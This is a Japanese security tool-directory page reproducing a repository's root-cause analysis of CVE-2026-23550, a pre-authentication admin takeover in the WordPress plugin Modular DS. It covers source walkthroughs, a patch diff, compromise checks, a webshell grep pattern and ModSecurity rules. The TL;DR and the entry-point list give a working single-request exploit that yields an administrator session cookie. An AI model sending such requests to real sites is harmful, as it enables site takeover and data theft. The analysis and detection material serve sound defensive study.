Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-23550 — CVE-2026-23550の根本原因分析、PoC、および検出ガイダンス。これはWordPressプラグインModular DSにおける、認証されていない管理者セッション乗っ取りの重大な脆弱性です。 | Kitploit
ツール/GitHubGitHub/1beelze/cve-2026-23550
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHub1beelze/cve-2026-23550

CVE-2026-23550

CVE-2026-23550の根本原因分析、PoC、および検出ガイダンス。これはWordPressプラグインModular DSにおける、認証されていない管理者セッション乗っ取りの重大な脆弱性です。

リポジトリを見る
22ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
root@kitploit:~
   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗    ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝    ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗     █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗    ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝    ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝     ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝

CVE-2026-23550

Modular DS · 未認証の管理者セッション乗っ取り

CVSS Type Auth Vector Status Patched

根本原因分析 · ソースコードウォークスルー · パッチ差分 · 教育用PoC

作成者: Beelze ( zeroday 1diot9 )


📌 TL;DR

Modular DS (modular-connector) は、WordPressサイト管理プラグインで、40,000以上のアクティブインストールがあります。バージョン 2.5.1以下には、5つの複合的な欠陥の連鎖が存在し、未認証の攻撃者が認証をバイパスし、プラグインの内部ログインエンドポイントを呼び出し、最初の管理者アカウントの wordpress_logged_in_* セッションクッキーを単一のHTTP GETリクエストで取得できるようになります。

root@kitploit:~
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld

→  HTTP/1.1 302 Found
   Location: /wp-admin/index.php
   Set-Cookie: wordpress_logged_in_<hash>=...

結果: 完全な管理者乗っ取り。攻撃者は悪意のあるプラグインのインストール、Webシェルの配置、バックアップ管理者アカウントの作成、データベースの窃取が可能です。


📖 目次

  • 影響を受けるバージョン
  • 攻撃対象領域
  • 根本原因分析
  • ソースコードウォークスルー
  • パッチ差分 (2.5.1 → 2.5.2)
  • 概念実証
  • 検出と修復
  • タイムライン
  • 参考文献
  • 免責事項

🎯 影響を受けるバージョン


🎯 攻撃対象領域

この脆弱性は、プラグインに組み込まれたカスタムLaravel由来のルーターをトリガーします。プラグインは独自のHTTPカーネル (Ares/Framework) を同梱しており、WordPressの parse_request アクションにフックして、WordPress自身のルーティングが行われる前にリクエストを乗っ取ります。

前提条件: なし(プラグインがインストールされアクティブ化されており、Modular SaaSに接続されていること — すべてのライブインストールでデフォルト)。

エントリポイント(いずれか1つで十分):

root@kitploit:~
/api/modular-connector/login/<任意>?origin=mo&type=<任意>
/?rest_route=/api/modular-connector/login/<任意>&origin=mo&type=<任意>
/index.php?rest_route=/api/modular-connector/login/<任意>&origin=mo&type=<任意>
/wp-load.php?origin=mo&type=<任意>

🚩 根本原因分析

この脆弱性は単一の欠陥ではありません — 5つの複合的な欠陥の連鎖です。各層を単独で見れば防御的に見えるかもしれませんが、組み合わさることで認証前の管理者乗っ取りに陥ります。

root@kitploit:~
flowchart TB
    A["🌐 攻撃者リクエスト<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>ゲートがクエリパラメータだけで開く"]
    B --> C["② Router::findRoute()<br/>URLが暗黙的に /login ルートに解決される"]
    C --> D["③ bindOldRoutes() フィルタ<br/>未知のtypeでフォールスルー"]
    D --> E["④ ModularGuard::check()<br/>サーバーのOAuthを検証するが、リクエストは検証しない"]
    E --> F["⑤ AuthController::getLogin()<br/>最初の管理者ユーザーにフォールバック"]
    F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>攻撃者 = 管理者"]

    style A fill:#ff4444,stroke:#000,color:#fff
    style G fill:#00cc44,stroke:#000,color:#fff
    style B fill:#ff8888,stroke:#000
    style C fill:#ffaa66,stroke:#000
    style D fill:#ffcc44,stroke:#000
    style E fill:#ff8888,stroke:#000
    style F fill:#ff4444,stroke:#000,color:#fff

📋 欠陥サマリー


🔬 ソースコードウォークスルー

① ブートストラップゲート — HttpUtils::isDirectRequest()

ファイル: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64

root@kitploit:~
public static function isDirectRequest(): bool
{
    $request = app('request');
    $userAgent = $request->header('User-Agent');
    $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
    $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
    $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');

    if ($isFromQuery) {
        return true;   // ⚠️ クエリパラメータのみ、署名なし
    }
    return false;
}

問題点: 「直接リクエスト」モードは、Modular SaaSバックエンドからの正当な呼び出しを識別するためのものですが、プレーンテキストのクエリパラメータでのみゲートされており、HMAC、JWT、署名付きnonce、IP許可リストはありません。攻撃者は誰でもこのスイッチを切り替えられます。

② URL→ルートの暗黙的解決 — Router::findRoute()

ファイル: vendor/ares/framework/src/Foundation/Routing/Router.php:20

root@kitploit:~
protected function findRoute($request)
{
    $this->current = $route = apply_filters(
        'ares/routes/match',
        $this->routes->match($request),   // ⚠️ フィルタが実行される前にURLがルートに解決される
        true
    );
    $route->setContainer($this->container);
    $this->container->instance(Route::class, $route);
    return $route;
}

問題点: Laravelの routes->match($request) は、セキュリティフィルタが実行される前に /api/modular-connector/login/xxx を login ルート(認証ガード付き)に解決します。フィルタはこのルートを入力として受け取るため、ルートが不正であることを明示的に許可するのではなく、証明する負担が生じます。

③ フィルタのフォールスルー — bindOldRoutes()

ファイル: src/app/Providers/RouteServiceProvider.php:46

root@kitploit:~
public function bindOldRoutes($route, $removeQuery = false)
{
    if (!HttpUtils::isDirectRequest()) return $route;

    $request = request();
    $type = $request->header('x-mo-type', $request->get('type'));

    if ($type === 'request') { /* 署名付きOAuth呼び出しで再バインド */ }
    if ($type === 'oauth')   { /* /oauth ハンドラに再バインド */ }
    if ($type === 'lb')      { /* /schedule/run に再バインド */ }

    return $route;   // ⚠️ 未知のtype → URLからのルートがそのまま残る
}

問題点: フィルタは type が3つの既知の値のいずれかである場合のみルートを上書きします。type が任意の値(x、foo、空)の場合、フォールスルーしてURL解決されたルートを変更せずに返します。URL駆動のルート login(文面上は認証ガード付き)は、ミドルウェア評価へ進みます。

④ 壊れたガード — ModularGuard::check()

ファイル: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16

root@kitploit:~
public function check()
{
    return !is_null($this->user());
}

public function user()
{
    $client = OauthClient::getClient();
    try {
        $client->validateOrRenewAccessToken();   // ⚠️ サーバー状態をチェック
        $this->user = ['id' => $client->getClientId()];
    } catch (\Throwable $e) {
        return null;
    }
    return $this->user;
}

問題点: カスタム modular ガードは、受信リクエストの身元をまったく検証しません。プラグイン自体がModular SaaSとの有効なOAuthセッションをまだ保持していることだけを確認します。事実上すべてのインストールが接続されているため(そうでなければプラグインは役に立たない)、ガードはそこに到達するすべてのリクエストに対して true を返します。

これが重要な欠陥です。仮に欠陥①~③が修正されても、この壊れたガードだけでも、auth ミドルウェアグループ内のすべてのルートへの不正アクセスを許容します。

⑤ 管理者フォールバック — AuthController::getLogin()

ファイル: src/app/Http/Controllers/AuthController.php:66

root@kitploit:~
public function getLogin(SiteRequest $modularRequest)
{
    $user = data_get($modularRequest->body, 'id');   // null — バインディングが決して設定されない

    if (!empty($user)) {
        $user = get_user_by('id', $user);
    }

    if (empty($user)) {
        Cache::driver('wordpress')->forget('user.login');
        $user = ServerSetup::getAdminUser();   // 💣 サイト上の最初の管理者
    }

    $cookies = ServerSetup::loginAs($user, true);   // 💣 WPセッションクッキーを発行
    return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}

問題点: SiteRequest ルートモデルバインディングは、フィルタチェーンで type === 'request' の場合のみ設定されます。未知の type の場合、$modularRequest は空のオブジェクトとしてコントローラに到達します。コントローラは静かに最初の管理者ユーザーにフォールバックし、WordPressログインクッキーを発行します。誰でも正面玄関から入ることができます。


🩹 パッチ差分 (2.5.1 → 2.5.2)

root@kitploit:~
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);

━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
-     if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+     $routes = app('router')->getRoutes();
+     $route = $routes->getByName('default');   // 👈 常に404ルートから開始
+     $route->bind(request());
+     if (!HttpUtils::isDirectRequest()) return $route;

━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+     abort(404);
+ })->name('default');

🔑 パッチの哲学

この修正は暗黙的なURL→ルート解決を完全に削除します。フィルタはまず abort(404) にハードワイヤリングされた default ルートで開始し、type が明示的に許可された3つの値のいずれかである場合のみ実際のコントローラに再バインドします。新しいロジックでは、type=x は 404 を生成します — リクエストはログインコントローラに到達せず、壊れたガードがフェイルオープンする対象がなくなります。

これは事後的に適用された防御の多層化です。ModularGuard::check() は構造的に弱いままですが、認証保護されたルートへの到達可能性チェーンが閉じられています。


🛠️ 概念実証


🛡️ 検出と修復

即時対応

  • modular-connector を >= 2.5.2 にアップグレード — 必須対応です。
  • アップグレードが不可能な場合、プラグインを完全に無効化してください。設定による回避策はありません。

侵害評価

アップグレード後、プラグインが 2.5.1 以下で、2026年1月13日以降にインターネット公開されていた場合は、侵害を前提としてください。以下の項目を確認してください:

root@kitploit:~
# 1. 不正な管理者アカウント
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

# 2. 2026年1月13日以降にインストールされた不審なプラグイン
find wp-content/plugins/ -type d -newer /tmp/marker-jan13

# 3. 最近変更されたコアファイル
find wp-includes/ wp-admin/ -type f -mtime -30

# 4. Webシェル(エクスプロイト後に配置される一般的なペイロード)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/

Webサーバーシグネチャ (Apache / Nginx ログ)

root@kitploit:~
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo

WAF / ModSecurity ルール (一時的な緩和策)

root@kitploit:~
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
  "id:2026023550,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 exploit attempt (Modular DS)'"

SecRule ARGS:origin "@streq mo" \
  "chain,id:2026023551,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 direct-request bypass attempt'"
  SecRule ARGS:type "@rx .+"

📅 タイムライン


📚 参考文献

  • Patchstack Advisory
  • The Hacker News — Critical WordPress Modular DS
  • BleepingComputer — Active Exploitation Report
  • Security Affairs — Admin Takeover Analysis
  • eSecurity Planet — 40K Installs at Risk
  • Rescana — Incident Response Notes
  • WordPress Plugin Repository — modular-connector

👤 作成者

Beelze · zeroday 1diot9

高度なCVE研究者 · 脆弱性アナリスト · PoC構築者


⚖️ 免責事項

このリポジトリは、教育的および防御的研究目的のみで公開されています。

この脆弱性は公開されています (CVE-2026-23550)、ベンダーによって修正されており (modular-connector 2.5.2)、主要なセキュリティメディアでも詳細に報じられています。この記事は、防御側が根本原因を理解し、開発者が実際の認証設計上の失敗から学び、研究者が連鎖的な欠陥パターンを研究するために存在します。

同梱のPoCスクリプトを、所有していない、または明示的な書面によるテスト許可がないシステムに対して実行しないでください。コンピュータシステムへの不正アクセスは、事実上すべての法域で違法です (CFAA · Computer Misuse Act · ITE Law など)。

著者は悪用に対する一切の責任を負いません。自分のユースケースが許可されているかどうか不明な場合は、許可されていません。


セキュリティ研究コミュニティのために 🎯 を込めて。

学びになったなら、このリポジトリに⭐を付けてください。

ツールをダウンロード
フィールド値
プラグイン名Modular DS
スラッグmodular-connector
脆弱バージョン<= 2.5.1
修正バージョン2.5.2
アクティブインストール数~40,000
CVSS v3.110.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CWECWE-287 · CWE-306 · CWE-863
OWASPA07 — 識別と認証の失敗
#層ファイル根本原因
①ブートストラップゲートHttpUtils.php:64暗号やnonceなしのクエリのみによる origin=mo チェック
②URL→ルートマッチャーRouter.php:20暗黙的なURL解決がそのままフィルタに渡される
③ルート上書きフィルタRouteServiceProvider.php:46未知の type で元のルートがそのままフォールスルー
④認証ガードModularGuard.php:16サーバー側のOAuth状態を検証するが、リクエストの身元は検証しない
⑤ログインコントローラAuthController.php:66入力がない場合に getAdminUser() にサイレントフォールバック
日付イベント
2026-01-XXベンダーが 2.5.2 をリリース(サイレントセキュリティ修正)
2026-01-13 ~02:00 UTC最初の実環境での悪用を確認
2026-01-13Patchstackがアドバイザリ公開 · CVE-2026-23550 割り当て
2026-01-14The Hacker News、BleepingComputer、Security Affairs で報道
2026-07-05本教育向け記事の公開